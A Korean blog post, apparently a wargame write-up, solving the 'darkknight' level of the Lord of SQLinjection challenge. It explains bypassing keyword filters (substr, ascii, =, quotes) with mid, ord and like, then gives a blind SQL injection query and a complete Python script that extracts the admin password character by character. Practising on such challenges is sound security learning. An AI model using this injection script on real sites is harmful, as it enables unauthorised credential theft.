LJ

Lord of SQLinjection ( 12번 ) darkknight 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 12번 ) darkknight

짱준재 2024. 6. 6. 21:13

 

 

12번 다크 나이트 문제이다.

 

 

 

 

 

위의 코드를 보면 첫번째 쿼리에선 

 

prob, _, ., ()

 

문자가 포함된 경우 "No Hack _" 메시지를 출력하고 종료하게 되고

 

' 문자가 포함된 경우 "HeHe" 메시지를 출력하고 종료하게 되고

 

마찬가지로 ', substr, ascii, = 문자가 포함된 경우 "HeHe" 메시지를 출력하고 종료하는데 검사하는 파라미터는 이  조건 하

 

나만 no의 파라미터이다.

 

우리는 no 값 뒤에 

 

인젝션을 시도하여 원하는 관리자의 비밀번호를 가져올 것이기 때문에

 

마지막 입력값 검증 조건이었던  ', substr, ascii, = 를 사용하지 않아야한다.

 

그러면 substr 을 대신 할 함수 -> substring, mid  가 있다.  

 

=  도 like를 대신해 사용한다.

 

MID(문자, 시작 위치, 가져올 갯수);
-- 또는 SUBSTR(문자, 시작 위치, 가져올 갯수);
-- 또는 SUBSTRING(문자, 시작 위치, 가져올 갯수);

(Mysql)

 

 

ascii함수는 ord로 대체하여 사용한다.

 

ORD : 아스키 코드 값을 반환하는 함수
(문자열의 가장 왼쪽 문자가 멀티바이트 문자일 경우, 공식을 이용해 계산하며 멀티바이트 문자가 아닐 경우에는 ASCII 함수와 동일하다.)

 

 

?no=0 OR id like \"admin\" AND length(pw)>{num} %23

 

길이를 알아내는 쿼리

 

 

 

import requests

def check_length(url,cookie):
	head={"PHPSESSID":f"{cookie}"}
	print("비밀번호 문자열 길이 확인중...")
	for num in range(0,30):
		param=f"?no=0 OR id like \"admin\" AND length(pw)>{num} %23"
		mine=url+param
		res=requests.get(mine,cookies=head)
		if ("Hello admin" not in res.text):
			return num
def check_pw(url,cookie,length):
	head = {"PHPSESSID":f"{cookie}"}
	jjang=""
	for len in range(1, length+1):
		print(f"{len}번째 비밀번호 확인중...")
		for pw in range(32,127):
			param=f"?no=0 OR id like \"admin\" AND ord(mid(pw,{len},1))>{pw} %23"
			mine=url+param
			res=requests.get(mine, cookies=head)
			if("Hello admin" not in res.text):
				print(f"{len}번째 문자 ->{chr(pw)}")
				jjang+=chr(pw)
				break
	return jjang

if __name__ == "__main__":
    print (" 블라인드 공격 시작 ")
    url=input("URL:")
    cookie=input("cookie:")
    
    length=check_length(url,cookie)
    print(f"비밀번호의 길이는 {length}입니다.")
    
    jjang=check_pw(url,cookie,length)
    print(f"비밀번호는 {jjang}입니다!!!!!!!!")
    	
    exit

 

 

비밀번호 알아내는 파이썬 스크립트 코드이다

 

 

 

성공적으로 비밀번호를 알아내었다.

 

 

 

 

Comments